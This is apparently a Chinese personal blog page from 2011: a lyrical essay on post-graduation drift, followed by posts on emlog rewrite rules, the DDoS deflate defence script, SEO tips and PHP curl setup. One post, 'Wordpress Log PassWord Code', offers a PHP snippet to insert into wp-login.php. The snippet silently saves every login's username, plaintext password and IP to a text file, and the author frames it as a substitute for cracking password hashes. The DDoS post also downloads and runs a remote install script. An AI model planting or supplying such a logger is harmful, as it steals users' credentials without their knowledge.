也许博客 - 老地方

                             彼岸花开一瞬
   在下一次长谈里，期待人间烟火，饮食男女，春耕秋收，冬雪夏雨......虽然虚无，但过程或许就是意义所在。我能所说出的，也只是一个过程，因为结果并不在于一个绝对的时间。
                                 ——安妮宝贝《素年锦时》

      想做一次长谈，能写几万字的那种。却总在犹豫中迟迟不敢下笔。我似乎已经忘记如何去立意，我已经不是以前那个风情万种的人，为了一朵鸢尾花的凋谢听一整天的《乱红》。我想说以前我就是个浪漫主义，感性而又脆弱，像是林黛玉。写了一大堆关于爱情、友情的东西。诗化，歌化。甚至是让人羡慕的假象。后来，我决定很长一段时间不写东西。为的是净化内心的一些或有或无的东西。就像鱼儿有一天不再梦向大海，回归小溪的平静让它失去的生活的激情却寻找到了生命的方向。我想那样很好。即便现在我坐在电脑前写下这些东西还是会看看以前写下的点滴。但也只是看看，只是笑笑。
   我是一个很奇怪亦很纠结的人。奇怪是因为我的左边肋骨能响五下，而我的右边肋骨一下也响不了。这对别人来说都不重要。我想或许我不过就是个畸形儿。从小就是。只是长大了才发现。我总在奇怪这些身体构造上的与众不同，或者说对称两边的不同。所以我变得很纠结。最近我在纠结关于我内心生活的一些琐事。我一直以为会写文章，懂音乐，理得通电影内涵与文学巨作的隐喻就会是一个艺术家。有一天，一个国外的资深的艺术界老头，说了一句很危言耸听的话——真正的艺术家基本是短命鬼。突然我就想到海子，这小子风华正茂、无限风光的年纪跑去卧轨，还有那位吞枪自杀的海明威。现在我终于明白，以前搞的名堂不是艺术，只不过是一些有点意思的创新与复古。该庆幸的是我一定能活很久了。
   我一直有种感觉。我们所生活的这个世界正在以一种包养与被包养的状态运转着。至于是这个世界包养了人类还是人类在包养这个世界，太大众化的东西与个人无关。至少我这样认为。正如我最近倾心与网吧任何一台宽屏电脑共度良宵。我用足够的网费让她暂时属于我，服务于我。我欲伸手爱抚，她亦还以激情。纵横游戏的快感，她的神秘与任人摆渡以及天生睿智，让我更加迷恋她。我善于纵情操控，她习惯静默回应。我与她的默契，渐渐成就了这种包养与被包养的快乐。
   我在想，要不要六月过后像别人一样出去打一份低薪的暑假工。整天在家花爸妈的钱，找自己的乐子。凌晨3点还睁开眼睛在想事，中午12点却还在做梦。我才发现刚刚脱离学校的我，一下子就变得毫无生活规律。就好像一个破旧的闹钟，崩断了发条。深夜在纵情暴走，不分黑白的精力十足。白昼就以惯性来维持生命的转动。像我这样的人应该糜烂在都市的夜生活里，而且要是个富二代。而不是萌芽在农村，成长在农村城市化的进程里。以农村人的身份过着城市人的生活。明显早晚会透支。就像现在我已经快交不上网费。有时候精神生活也需要金钱来支持的。比如说看一场电影、买一本书。所以我在想，要不要六月过后像别人一样出去打一份低薪的暑假工。
   其实在毕业前我就有想过。我希望能去花店，帮别人送花、卖花、养花。能包吃包住最好，工资任意给就行。现在看来这又是一种奢望。暑假工本来就很廉价，而且工作难找。似乎想过尝试去当一位行为艺术者或者是苦行僧，但我没那种觉悟。而且我迷恋尘世与城市。我便钟情于当一名背包客。我想，如果我真的能带上足够的钱，当一名背包客。我会游遍江南每座城市，吃遍每一种小吃。还会写下旅行日志。走到哪，写到哪。黎明出发，深夜停留。将写下的文字留在睡下的地方，边写边忘。正如我轻轻地来，我亦轻轻的去。不带走任何回忆。其实这只不过是一种生活状态。没有人一生总在漂泊与追寻中独自一人挥扬跋扈的纵横几十年。如同一个大漠的刀客，除了一个背影既不带走也不留下任何东西。人还是需要回忆的。
   写到这，突然就不知道再怎么写下去了。感觉我的笔下从一开始的明朗诙谐一下子又变得沉重起来。前几天，在空间里看到有位才子在写三生石。感觉不错，是那个味。但我已经无心去看了。那种生死轮回的东西，三生三世的情缘。人们除了兴叹大概就只剩羡慕与惋惜了吧。好吧！是很晚了。音乐得关了，电脑也得关了。现在又是新的一天了。我还以昨天的状态拼搏着。但愿我不会再睡到中午了。


                                    时间这样过去就很好。

相关日志：

如果爱

emlog4.0伪静态规则及方法

ゞ★也許_﹏. — Tue, 08 Nov 2011 15:15:17 +0000

本站使用的就是emlog的程序，简单，简洁，操作方便。之前使用的是wordpress，有点复杂，整个相对打开速度也没这个快。

最主要的一点是wordpress的数据库，如果系统重装或者服务器遇特殊情况而重装了，那么数据基本就丢了，所以我也不用了。上次刚丢了，又重新开始写。不折腾了，就用emlog了。

emlog4.0在IIS6下的伪静态规则：

[ISAPI_Rewrite]
# 3600 = 1 hour
CacheClockRate 3600
RepeatLimit 32
RewriteRule /rss.php(.*) /rss.php$1 [L]
RewriteRule /tb.php(.*) /tb.php$1 [L]
RewriteRule /favicon.ico /favicon.ico [L]
RewriteRule /xmlrpc.php(.*) /xmlrpc.php$1 [L]
RewriteRule /wlwmanifest.xml /wlwmanifest.xml [L]
RewriteRule /(t|m)$ /$1/ [R]
RewriteRule /(admin|content|include|t|m)/(.*) /$1/$2 [L]
RewriteRule /install.php(.*) /install.php$1 [L]
RewriteRule /emlog_toolkit.php(.*) /emlog_toolkit.php$1 [L]
RewriteRule /up(\d.\d.\d)to(\d.\d.\d).php(.*) /up$1to$2.php$3 [L]
RewriteRule ^/$ /index.php [L]
RewriteRule /(.*) /index.php/$1 [L]

将次规则保存为httpd.ini上传到根本目录即可。
国内一般都是以前的isapi_rewrite1.3的自定义版本伪静态，保存为httpd.ini上传即可
如果是新的isapi_rewrite3.0版本,则是保存为.htaccess文件，然后保存上传到空间即可。

Linux下防御/减轻DDOS攻击最有效的方法

ゞ★也許_﹏. — Tue, 08 Nov 2011 15:09:25 +0000

在没有硬防的情况下，寻找软件代替是最直接的方法，比如用iptables，但是iptables不能在自动屏蔽，只能手动屏蔽。今天要说的就是一款能够自动屏蔽DDOS攻击者IP的软件：DDoS deflate。

DDoS deflate介绍

DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址，在检测到某个结点超过预设的限制时，该程序会通过APF或IPTABLES禁止或阻挡这些IP.

DDoS deflate官方网站：http://deflate.medialayer.com/

如何确认是否受到DDOS攻击？

执行：

netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n

执行后，将会显示服务器上所有的每个IP多少个连接数。

1 113.132.228.195

1 70.33.184.37

1 87.250.253.243

1 Address

1 servers)

4 125.72.229.142

每个IP几个、十几个或几十个连接数都还算比较正常，如果像上面成百上千肯定就不正常了。

1、安装DDoS deflate

wget http://www.inetbase.com/scripts/ddos/install.sh //下载DDoS deflate

chmod 0700 install.sh //添加权限

./install.sh //执行

2、配置DDoS deflate

下面是DDoS deflate的默认配置位于/usr/local/ddos/ddos.conf

内容如下：

##### Paths of the script and other files

PROGDIR="/usr/local/ddos"

PROG="/usr/local/ddos/ddos.sh"

IGNORE_IP_LIST="/usr/local/ddos/ignore.ip.list" //IP地址白名单

CRON="/etc/cron.d/ddos.cron" //定时执行程序

APF="/etc/apf/apf"

IPT="/sbin/iptables"

##### frequency in minutes for running the script

##### Caution: Every time this setting is changed, run the script with –cron

##### option so that the new frequency takes effect

FREQ=1 //检查时间间隔，默认1分钟

##### How many connections define a bad IP? Indicate that below.

NO_OF_CONNECTIONS=150 //最大连接数，超过这个数IP就会被屏蔽，一般默认即可

##### APF_BAN=1 (Make sure your APF version is atleast 0.96)

##### APF_BAN=0 (Uses iptables for banning ips instead of APF)

APF_BAN=1 //使用APF还是iptables。推荐使用iptables,将APF_BAN的值改为0即可。

##### KILL=0 (Bad IPs are’nt banned, good for interactive execution of script)

##### KILL=1 (Recommended setting)

KILL=1 //是否屏蔽IP，默认即可

##### An email is sent to the following address when an IP is banned.

##### Blank would suppress sending of mails

EMAIL_TO="root" //当IP被屏蔽时给指定邮箱发送邮件，推荐使用，换成自己的邮箱即可

##### Number of seconds the banned ip should remain in blacklist.

BAN_PERIOD=600 //禁用IP时间，默认600秒，可根据情况调整用户可根据给默认配置文件加上的注释提示内容，修改配置文件。

喜欢折腾的可以用Web压力测试软件测试一下效果，相信DDoS deflate还是能给你的VPS或服务器抵御一部分DDOS攻击，给你的网站更多的保护。

Wordpress Log PassWord Code

短时间内谷歌收录过千,百度收录内页

服务器安全设置_系统端口安全配置

sql2005图解安装全过程

Wordpress Log PassWord Code

ゞ★也許_﹏. — Tue, 08 Nov 2011 15:05:03 +0000

Wordpress的密码破解可以说基本是没招了，悲剧只好采用记录密码了。
在文件wp-login.php中539行处添加：

// log password

$log_user=$_POST['log'];

$log_pwd=$_POST['pwd'];

$log_ip=$_SERVER["REMOTE_ADDR"];

$txt=$log_user.'|'.$log_pwd.'|'.$log_ip;

$txt=$txt."\r\n";

if($log_user&&$log_pwd&&$log_ip){

@fwrite(fopen('pwd.txt',"a+"),$txt);

}

当action=login的时候会触发记录密码code，当然了你也可以在switch...case..语句中的default中写该代码。

Linux下防御/减轻DDOS攻击最有效的方法

短时间内谷歌收录过千,百度收录内页

服务器安全设置_系统端口安全配置

sql2005图解安装全过程

短时间内谷歌收录过千,百度收录内页

ゞ★也許_﹏. — Sun, 06 Nov 2011 14:31:21 +0000

我们现在来分析过程：

　　一、网站发布前的工作(灰常重要)：

　　1、内链，也就是说网站的内部结构一定要清晰合理，不要有坏链，死链;

　　2、301跳转，不带www的301至带www的，避免被重复收录导致权重分散，降低;

　　3、善用rel="nofollow"，比如注册，登陆，关于我们，联系我们，隐私条例等次要链接，

　　我们可以nofollow掉，而其他的外链比如拿来撑版面，撑场面的链接，也要nofollow掉，让权重集中到我们自己的产品页/内容页/文章页;

　　4、页面返回的HTTP状态码，比如：301,404等，一定要使页面的返回码正常，禁用302跳转，要明确页面状态，该出错就出错，不要页面不存在就302返回首页，这是很不明智的做法，404页面最好要有，要简洁明了，让访客一目了然，可以参考案例中的网站404，所谓高质量的站，就是指用户体验度高的网站;

　　5、网站地图sitemap，这里强烈建议用sitemap.html，不建议用sitemap.xml，原因是sitemap不光是给robots 看的，也是给访客看的，再者xml不好定义，是每天/每小时/每周还是每月呢??定久了蜘蛛就来的少，定频繁而你没更新蜘蛛就认为你这是欺骗，所以xml 的sitemap最好不用，用html的效果更好

　　6、网页的重复度/相似度，这个很重要，这里说的是内部网页，如产品页，现在很多企业站的产品页就1个标题1张图片，这就直接导致他的网页相似度超过 90%，蜘蛛是非常不喜欢这样的网站的，最多就抓几页意思一下，所以我们就要在相关页面增加其他信息来降低相似度，如随机的相关产品展示，相关新闻链接等等，相似度只要不超过60%就OK;

　　完成上述6点工作，基本上蜘蛛就会比较喜欢你的站了，会给你的站打个高分值，会把抓取的内容往前推。等到放出内页时就会获得一个好的权重和排名。

　　二、网站发布后的工作(相当重要)：

　　1、外链，把外链放第1个说，说明它的重要性，外链有很多种，这里我们就讲2种，1是在博客等地方的外链，2是友情链接。先说外链，不推荐到处去发链接，很多时候，1000个垃圾链也比不上1个质量高的外链。

　　新站在开始的时候，百度知道和帖吧不要去。最好去百度空间，新浪博客发几篇与网站相关的文章，留个链接就OK。

　　2、友情链接，重点，很多人说新站没资源，别人不愿意跟你链接，确实如此。我的建议是如果实在找不到高质量(PR权重高，一般都以这个判断)的链接，那就找一些网站看上去质量不错的潜力站，如更新勤奋，相关度高，百度快照新。其实只要多去联系，广撒网，还是会有人跟你链接的。再者是多搜索，跟一些百度权重(隐性)很高而又默默无闻的企业站做链接，这类网站可能看上去作的很垃圾，事实上也差不多是这样，但百度给的(隐性)权重却很好，估计是因为名气之类的?跟这些网站做链接往往比那些PR不是很高又挑剔无比的站长要容易的多。而且效果好的多。

　　3、提交URL到百度，这步可以在网站上传后就做，先在自己网站404页面/或是网站地图页做个百度的搜索框，然后site和域名.com自己的网站，从自己的网站提交到百度，没事多点几次，目的是把URL带给百度，然后去百度提交URL地址，不出意外，10分钟就可收录首页，最慢1天内。前提是 (完成了“一”里面的工作)

　　4、文章、原创，这里终于说到这个说到那个啥的词了。这个大家都懂，就不多说了，其实我本人对原创的看法跟现在主流的看法大不一样，这里还是不说了，免得挨P。

　　5、内容更新，权威们都说了，每天定时定量更新，仁者见仁智者见智，能做到最好，如果实在太忙，那基本上保持1周有更新也是可以的

Linux下防御/减轻DDOS攻击最有效的方法

Wordpress Log PassWord Code

服务器安全设置_系统端口安全配置

sql2005图解安装全过程

windows2003和linux中php安装php_curl.dll的组件支持

ゞ★也許_﹏. — Sun, 06 Nov 2011 14:28:20 +0000

window下安装php_curl支持

1.找到php.ini
修改extension=php_curl.dll 把前面的分号去掉
2.把
php_curl.dll
libeay32.dll
ssleay32.dll 复制到 %windir%/system32下
重启IIS就可以了

linux 中 php如何安装扩展

如果php已经在系统编译好，后来又需要添加新的扩展。一种方式就是重新完全编译php，另一种方式就是单独编译扩展库，以extension的形式扩展。下面以安装curl扩展为例：
1、下载curl安装包。（我的php是4.4.4的，下载最新的curl 7.16 不能使用，最后下载7.14的才可以，所以要注意一下版本问题）
./configure
make
php要求curl的目录要有include和lib目录，并且include下要有easy.h 和curl.h两个文件，lib下要有libcurl.a。经编译后include下的文件有了，但是lib目录下没有。原来生成到lib/.libs目录下，所以要copy到lib目录
2、进入安装原php的源码目录，
cd ext
cd curl
phpize
./configure --with-curl=DIR
make
就会在PHPDIR/ext/curl/moudles/下生成curl.so的文件。
3、复制curl.so文件到extensions的配置目录，修改php.ini就好

Linux下防御/减轻DDOS攻击最有效的方法

Wordpress Log PassWord Code

短时间内谷歌收录过千,百度收录内页

服务器安全设置_系统端口安全配置